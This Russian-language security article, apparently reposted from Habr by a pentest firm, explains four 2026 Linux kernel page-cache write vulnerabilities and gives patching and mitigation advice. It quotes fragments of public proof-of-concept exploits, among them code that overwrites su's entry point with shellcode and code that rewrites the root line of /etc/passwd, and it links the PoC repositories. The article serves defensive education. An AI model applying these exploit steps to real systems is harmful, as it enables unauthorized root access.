ESPN Deportes¿Cuál debería ser el objetivo de Canelo a los 36 años?ESPNInside the stunning 72-hour Lakers sale -- and the uncertainty that still loomsInquirerCalamba City sizzles as heat index hits 43°CThe Jerusalem PostEisenkot is hoping to beat Netanyahu, but what does the Yashar leader stand for? - explainerZDF heuteEntdecken Sie das ZDF-NachrichtenstudioVarietyNetflix Grapples With Digital-Ad Squeeze Amid Widening Glut of Streaming CommercialsCapital FMIEBC suspends Migwani ward by-election following court order7sur7Philippe et De Wever: les secrets d’un mariage contre natureVanguardChinese state TV suspends La Liga broadcasts after Mbappé remarkVilaWebLa participació en les eleccions d’Israel supera el 31% al migdia, la més alta d’ençà del 1973Wirtualna PolskaHołownia rozmawiał z Tuskiem. "Uzyskałem zapewnienie"CNN بالعربيةلقطات توثق اعتداءً مزعومًا على رجل يهودي في نيويورك.. واتهام امرأة بجرائم كراهية
The Daily Newsstand · Free, Always
Tuesday, October 27, 2026

Root без права на запись: как четыре уязвимости Linux обходят защиту файлов

Translate

У пользователя нет прав на изменение системного файла: открыть его можно только для чтения. Но что произойдет, если само ядро Linux запишет новые данные в его страницу в оперативной памяти? Для обычной проверки прав доступа такая запись может остаться незаметной.

В 2026 году исследователи описали несколько уязвимостей с таким механизмом. Они затрагивают криптографию и обработку сетевых пакетов, но причина у них похожая: подсистемы ядра неправильно обращаются с общими страницами памяти. Разберем Copy Fail, Dirty Frag и pedit COW, а затем посмотрим, как эти ошибки приводят к повышению привилегий.

В АБП2Б мы проводим пентесты и аудиты информационной безопасности. В этой работе сталкиваемся всё чаще с уязвимостями Linux, которые позволяют повысить привилегии в системе. В статье рассмотрим несколько таких уязвимостей и разберём, за счёт чего они работают.

Как работает page cache и откуда берется возможность записи

Когда процесс читает файл, ядро обычно работает не напрямую с ним, а с page cache, который представляет собой файловый кеш в оперативной памяти. Открытие файла с O_RDONLY означает, что процесс не имеет права выполнить штатную файловую запись, но не означает, что физические страницы памяти никогда не будут доступны другим частям ядра.

Чтение файла через page cache.

Чтение файла через page cache.

Zero-copy позволяет обойтись без лишнего копирования данных. Вместо отдельного буфера ядро может передать сетевой или криптографической подсистеме ссылку на ту же страницу памяти. Сетевой буфер sk_buff тоже может хранить такие ссылки.

Пока принимающая подсистема только читает страницу, проблем нет. Опасность появляется, когда она изменяет данные прямо в исходном буфере (in-place). Перед такой операцией нужно убедиться, что память можно менять, или создать отдельную копию.

Общая страница памяти и механизм Copy-on-Write.

Общая страница памяти и механизм Copy-on-Write.

User namespaces позволяют непривилегированному процессу создать изолированное пространство имен и получить в нем часть полномочий root. За пределами этого пространства они не действуют. Но page cache общий для всей системы, поэтому ошибка в ядре может затронуть и хост.

Публичные PoC и общий принцип атаки

На этих примерах хорошо видно, как похожая ошибка проявляется в разных интерфейсах ядра.

 Имя

 Подсистема

 CVE

 Где записывает?

 Copy Fail

 AF_ALG,   algif_aead,   authencesn

 CVE-2026-31431

 Контролируемая запись по 4 байта в page cache LPE

 Dirty Frag ESP

 XFRM, ESP-in-UDP

 CVE-2026-43284

 ESP принимает externally shared frag за приватный и дешифрует его in-place

 Dirty Frag, RxRPC

 RxRPC, rxkad

 CVE-2026-43500

 shared paged frag попадает в in-place crypto SGL вместо предварительного unshare

 pedit COW

 tc, act_pedit

 CVE-2026-46331

 pedit пишет за заранее рассчитанной COW-границей в   еще shared-область

Сами по себе эти ошибки не выдают права root. Они дают возможность изменить данные в памяти, а уже эксплойт использует эту возможность для повышения привилегий.

Copy Fail

Публичный PoC: https://github.com/JuanBindez/CVE-2026-31431

В основе Copy Fail лежит сочетание zero-copy, интерфейса AF_ALG и обработки данных in-place. AF_ALG позволяет обычным приложениям обращаться к криптографическим алгоритмам ядра через сокеты. Страница передается в криптографическую подсистему без копирования, а вход и выход операции могут ссылаться на одну область памяти. Проблему вызывает модуль authencesn: он использует выходной буфер как временную область и может записывать туда служебные данные. Если буфер ссылается на page cache, изменяется содержимое кешированной страницы файла.

Рассмотрим, как уязвимость используется для повышения привилегий. Ниже приведены отдельные фрагменты публичного PoC, а не самостоятельная программа.

Особый интерес представляют setuid-программы: они могут запускаться с повышенными правами. Если изменить их инструкции в page cache, система может выполнить измененный код, хотя файл на диске остался прежним. В демонстрации открывают /usr/bin/su только для чтения и воздействуют на его кешированную страницу:

Результат демонстрации Copy Fail: выполнение команды с правами root.

Результат демонстрации Copy Fail: выполнение команды с правами root.

os.open(“/usr/bin/su”, os.O_RDONLY)  # цель открыта read-only

Создаем сокет AF_ALG:

sock = socket.socket(38, 5, 0)  # AF_ALG — crypto API ядра
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))  # выбираем AEAD
conn, _ = sock.accept()

Передаем содержимое файла через pipe в AF_ALG:

read_pipe, write_pipe = os.pipe()  # pipe для zero-copy
os.splice(fd, write_pipe, offset + 4, offset_src=0)  # файл → pipe
os.splice(read_pipe, conn.fileno(), offset + 4)  # pipe → AF_ALG

Затем запускаем криптографическую операцию, которая приводит к записи данных:

conn.sendmsg(  # запускаем crypto-операцию
    [b"A" * 4 + data],
    [
        (ALG_SET_KEY, 3, zero_byte * 4),
        (ALG_SET_KEY, 2, b'\x10' + zero_byte * 19),
        (ALG_SET_KEY, 4, b'\x08' + zero_byte * 3),
    ],
    32768,
)
Трассировка системных вызовов при демонстрации Copy Fail.

Трассировка системных вызовов при демонстрации Copy Fail.

Здесь каждый компонент выполняет свою часть работы: splice() передает страницы, algif_aead позволяет избежать лишнего копирования, а authencesn использует выходной буфер как рабочую область. Ошибка возникает потому, что общую страницу меняют как собственную.

Dirty Frag

Публичный PoC: https://github.com/V4bel/dirtyfrag/blob/master/exp.c

Dirty Frag использует похожую ошибку: ядро изменяет данные прямо в общей памяти. Но на этот раз страница попадает в обработку через сетевой буфер.

Схема воздействия Dirty Frag на страницу файлового кеша.

Схема воздействия Dirty Frag на страницу файлового кеша.

ESP / IPsec

У процесса нет прав на изменение файла. Однако его кешированная страница может попасть в сетевой буфер, а ядро при обработке ESP расшифрует данные прямо в этой памяти. В результате изменится страница файлового кеша.

Для каждого участка данных длиной 4 байта демонстрация создает отдельную XFRM SA через netlink:

for (int i = 0; i < PAYLOAD_LEN / 4; i++) {  // одна SA на 4 байта
    uint32_t spi = 0xDEADBE10 + i;
    uint32_t seqhi =
        ((uint32_t)shell_elf[i*4 + 0] << 24) |
        ((uint32_t)shell_elf[i*4 + 1] << 16) |
        ((uint32_t)shell_elf[i*4 + 2] << 8) |
        ((uint32_t)shell_elf[i*4 + 3]);

    if (add_xfrm_sa(spi, seqhi) < 0) {  // устанавливаем SA
        SLOG("add_xfrm_sa #%d failed", i);
        return -1;
    }
}

Далее собирается пакет. Содержимое файла не копируется: через pipe передается ссылка на страницу из page cache. Фрагмент кода:

uint8_t hdr[24];  // заголовок пакета
*(uint32_t*)(hdr + 0) = htonl(spi);

vmsplice(pfd[1], &iov_h, 1, 0);  // header → pipe

off_t off = offset;
splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE);  // file page → pipe
splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);  // pipe → socket

Пакет поступает на UDP-порт 4500 через loopback. При обработке ESP ядро не распознает фрагмент как общую страницу и расшифровывает данные прямо в ней. В примере эту операцию повторяют для последовательных участков страницы.

RxRPC

Здесь записываемые данные зависят от результата расшифровки, поэтому выбрать их напрямую нельзя. Но результат зависит и от ключа. В демонстрации программа перебирает ключи локально, пока не находит подходящий, а затем использует его при обработке пакета ядром.

Подбор параметров криптографического преобразования в демонстрации RxRPC.

Подбор параметров криптографического преобразования в демонстрации RxRPC.

В примере с /etc/passwd код проверяет, удалось ли получить последовательность символов, необходимую для изменения записи учетной записи:

static inline int fc_check_pa_nullok(const uint8_t P[8]) {
    return P[0] == ':' && P[1] == ':';  // ищем "::"
}

static inline int fc_check_pb_nullok(const uint8_t P[8]) {
    return P[0] == '0' && P[1] == ':';  // ищем "0:"
}

В приведенном PoC ключ подбирается следующим образом:

for (uint64_t iter = 0; iter < max_iters; iter++) {
    uint64_t r = fc_splitmix64(&seed);
    memcpy(K, &r, 8);
    fcrypt_user_setkey(&ctx, K);
    fcrypt_user_decrypt(&ctx, P, C);

    if (check(P)) {
        memcpy(selected_key, K, 8);
        break;
    }
}

После подбора ключа программа передает страницу /etc/passwd через pipe и splice на обработку сетевой подсистеме. Ядро выполняет криптографическую операцию непосредственно над общей страницей:

memcpy(SESSION_KEY, Ka, 8);  // ключ → сессия
do_one_trigger(rfd_ro, off_a, 8);  // запускаем kernel path

Затем проверяется, как изменилась первая строка файла /etc/passwd:

if (memcmp(m, "root::0:0", 9) == 0)
    // проверяем результат
Изменение содержимого /etc/passwd в демонстрации Dirty Frag.

Изменение содержимого /etc/passwd в демонстрации Dirty Frag.

Проверка повышения привилегий после демонстрации Dirty Frag.

Проверка повышения привилегий после демонстрации Dirty Frag.

В обоих вариантах Dirty Frag используется общая идея: в сетевую обработку попадает ссылка на страницу файлового кеша, а криптографическая операция изменяет ее на месте. Различается способ управления записываемыми данными.

pedit COW

Публичный PoC: https://github.com/sgkdev/packet_edit_meme

Уязвимость pedit COW работает иначе. Здесь ядро пытается применить Copy-on-Write перед записью, но неправильно рассчитывает размер защищаемой области. В итоге часть памяти остается общей.

В демонстрации задаются две операции редактирования пакета. Первая меняет поле заголовка, влияющее на расчет смещения, а вторая выполняет запись по уже измененному смещению.

Проблема в том, что область для Copy-on-Write определяется заранее, а фактическое смещение второй операции зависит от заголовка пакета, который меняется во время обработки. Поэтому запись может выйти за пределы области, подготовленной для безопасного изменения.

static void fill_ihl_key(struct pedit_key_spec *key){  // первая pedit-запись
    key->offset = IP_IHL_KEY_OFFSET;
    key->value = IP_IHL_KEY_VALUE;
    key->mask = IP_IHL_KEY_MASK;
    key->header_type = TCA_PEDIT_KEY_EX_HDR_TYPE_NETWORK;
}

Положение записи в файле зависит от структуры пакета. Для расчета смещения используется тестовый файл:

fd = open(CALIB_PATH, O_RDWR | O_CREAT | O_TRUNC, 0644);  // файл для калибровки
write(fd, buf, sizeof(buf));
fsync(fd);

fill_ihl_key(&keys[0]);  // первая запись-обманка
keys[1].offset = CALIB_PROBE_OFFSET;  // пробное смещение
keys[1].value = CALIB_MARK_BYTE * 0x01010101u;  // маркер
keys[1].header_type = TCA_PEDIT_KEY_EX_HDR_TYPE_TCP;

pedit_burst(fd, keys, 2);  // применяем обе записи
pread(fd, buf, sizeof(buf), 0);

landed = find_marker(buf, ...);  // ищем маркер
offset_delta = landed - CALIB_PROBE_OFFSET;  // считаем поправку

Далее определяется точка входа setuid-программы: виртуальный адрес переводится в смещение внутри файла:

if (phdr.p_type == PT_LOAD && (phdr.p_flags & PF_X) &&
    ehdr.e_entry >= phdr.p_vaddr &&
    ehdr.e_entry < phdr.p_vaddr + phdr.p_filesz)
    return (long)(ehdr.e_entry - phdr.p_vaddr + phdr.p_offset);
    // entry VA → file offset

В демонстрации начало программы su в page cache заменяется короткой последовательностью машинных инструкций. Затем программа запускается с измененными инструкциями:

child = fork();  // создаем дочерний процесс
if (child == 0) {
    if (corrupt_entry(su_fd, entry_offset))
        _exit(1);
    write(sync_pipe[1], "1", 1);  // сигнал родителю
    _exit(0);
}

read(sync_pipe[0], &ack, 1);  // ждем child
waitpid(child, &status, 0);
su_argv[0] = (char *)su_path;
execve(su_path, su_argv, NULL);  // запускаем цель

Для настройки сетевого фильтра нужны полномочия, которых нет у обычного пользователя. Эксплойт использует user namespace, где часть таких полномочий доступна внутри изолированной среды. Но файловый кеш остается общим. Дочерний процесс изменяет кешированную страницу su, а родительский процесс запускает su уже вне пространства имен.

Фрагмент цикла дочернего процесса, который выполняет запись по частям:

size_t chunk = sizeof(SHELLCODE) - written;
if (chunk > PEDIT_MAX_WRITE)
    chunk = PEDIT_MAX_WRITE;

api_fd_write(su_fd, entry_offset + written,
             SHELLCODE + written, chunk);
written += chunk;

Так один процесс использует полномочия внутри изолированного пространства, чтобы изменить общую кешированную страницу, а другой запускает измененную программу за его пределами.

Способы защиты

Основная мера защиты от Copy Fail, Dirty Frag и pedit COW — установка исправленного ядра Linux. Поскольку уязвимости связаны с обработкой общей памяти внутри ядра, изменение прав доступа к файлам не устраняет их причину.

При обновлении важно учитывать особенности конкретного дистрибутива. Исправления безопасности могут переноситься в более старые ветки ядра без изменения его базового номера версии. Поэтому наличие исправления следует проверять по бюллетеням безопасности поставщика и сведениям о конкретном пакете, а не только по выводу uname -r.

После установки обновления необходимо перезагрузить систему и убедиться, что она работает на исправленном ядре. Пока сервер продолжает использовать прежнее ядро, уязвимый код может оставаться активным.

При большом количестве Linux-серверов отдельной задачей становится учет систем, на которых необходимо проверить наличие исправлений. Для этого важно иметь актуальный реестр оборудования, понимать, где размещены серверы и кто отвечает за их обслуживание. Такие сведения можно вести, например, в ОдинХаб от АБП2Б — платформе для инвентаризации ИТ-инфраструктуры. Это упрощает организацию проверки и обновления систем, хотя само по себе не устраняет уязвимости ядра.

Дополнительная мера — ограничение доступности подсистем, в которых обнаружены ошибки: криптографического интерфейса AF_ALG, механизмов XFRM/ESP и RxRPC, а также функций редактирования пакетов через tc и act_pedit. Если отдельные компоненты не используются, можно рассмотреть их ограничение. Но отключать модули без проверки зависимостей нельзя: это может нарушить работу сетевых сервисов и других компонентов системы.

Отдельного внимания заслуживают непривилегированные user namespaces. Они позволяют процессам получать определенные полномочия внутри изолированной среды и в некоторых сценариях облегчают доступ к уязвимым механизмам ядра. Ограничение их создания может снизить риск эксплуатации, но не защищает от всех рассмотренных вариантов атаки.

Таким образом, дополнительные ограничения стоит рассматривать как временные меры снижения риска. Полноценное устранение этих уязвимостей требует установки соответствующих исправлений ядра Linux.

Что это значит для безопасности Linux

Copy Fail, Dirty Frag и pedit COW показывают, что одних прав доступа к файлам недостаточно, если ошибка есть в самом ядре. Во всех рассмотренных случаях одна подсистема передает ссылку на страницу памяти, а другая изменяет эту страницу, не обеспечив необходимое разделение. Если речь идет о page cache привилегированной программы, последствия могут привести к повышению прав.

Ошибки затрагивают механизмы, которые обычно помогают системе работать быстрее и безопаснее: zero-copy и Copy-on-Write. Поэтому основная защита здесь — исправленное ядро. Ограничения отдельных функций могут снизить риск, но не заменяют обновление.

View the original on Хабр →

KioskNews shows a cleaned-up reading view extracted from the publisher’s page — the original always lives on their site, not ours.